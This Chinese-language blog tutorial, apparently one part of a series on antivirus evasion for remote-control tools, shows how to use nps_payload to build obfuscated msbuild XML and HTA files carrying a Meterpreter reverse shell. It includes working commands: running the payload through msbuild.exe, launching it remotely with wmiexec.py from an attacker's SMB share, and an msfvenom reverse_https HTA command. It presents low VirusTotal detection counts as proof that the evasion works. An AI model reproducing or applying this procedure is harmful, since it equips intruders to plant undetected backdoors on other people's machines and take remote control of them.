远控免杀专题(19)-nps_payload免杀

免杀能力一览表

在这里插入图片描述
几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、nps_payload介绍

nps_payload是2017年开源的工具,安装使用都比较简单,nps_payload可以生成基于msbuild的xml文件和独立执行的hta文件,并对xml文件和hta文件做了一定的混淆免杀,从而达到免杀的效果。

二、安装nps_payload

1、克隆到本地

git clone  https://github.com/trustedsec/nps_payload

2、安装py依赖


pip install -r requirements.txt

3、运行python nps_payload.py
在这里插入图片描述

三、nps_payload使用说明

nps_payload生成的xml或hta文件都需要使用msbuild来执行。

Microsoft Build Engine是一个用于构建应用程序的平台,此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。

说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法直接在cmd中使用。需要带上路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319。

适用条件:.NET Framework>=4.0

nps_payload对xml文件和hta文件做的一些免杀是比较直接有效的:

在这里插入图片描述

三、利用nps_payload生成后门

我就以生成基于msbuild的xml文件为例进行演示。

执行python nps_payload.py,选择1,Generate msbuild/nps/msf payload

第2步payload选择1,windows/meterpreter/reverse_tcp

后面输入监听IP和端口
在这里插入图片描述
之后可生成后门文件
在这里插入图片描述
我们需要用到的只有msbuild_nps.xml这一个文件
在这里插入图片描述
msbuild_nps.xml文件内容如下,命令经过了编码处理
在这里插入图片描述
文件的执行方式有两种

1. 本地加载执行:
- %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml

2. 远程文件执行:

wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml

我这里就用本地加载进行测试,msbuild.exe在windows中的的一般路径为C:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
在这里插入图片描述
msfconsole监听相应payload和端口,可正常上线
在这里插入图片描述
打开杀软进行测试
在这里插入图片描述
virustotal.com上查杀率为3/56

在这里插入图片描述
使用nps_payload生成的hta文件,virustotal.com上查杀率为7/57。(msf直接生成的hta-psh文件查杀为28/57,msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f hta-psh -o test.hta)
在这里插入图片描述

四、nps_payload小结

基于白名单的执行payload侯亮大神讲的比较多了,nps_payload只是使用了其中的msbuild.exe方法,nps_payload还对生成的文件进行了混淆处理,使用非常简单,免杀效果也是不错的。

五、参考资料

官方Github:https://github.com/trustedsec/nps_payload

基于白名单Msbuild.exe执行payload第一季:https://micro8.gitbook.io/micro8/contents-1/71-80/71-ji-yu-bai-ming-dan-msbuild.exe-zhi-hang-payload-di-yi-ji

使用msbuild.exe绕过应用程序白名单(多种方法):https://www.cnblogs.com/backlion/p/10490573.html

发布了203 篇原创文章 · 获赞 19 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_41683305/article/details/105153591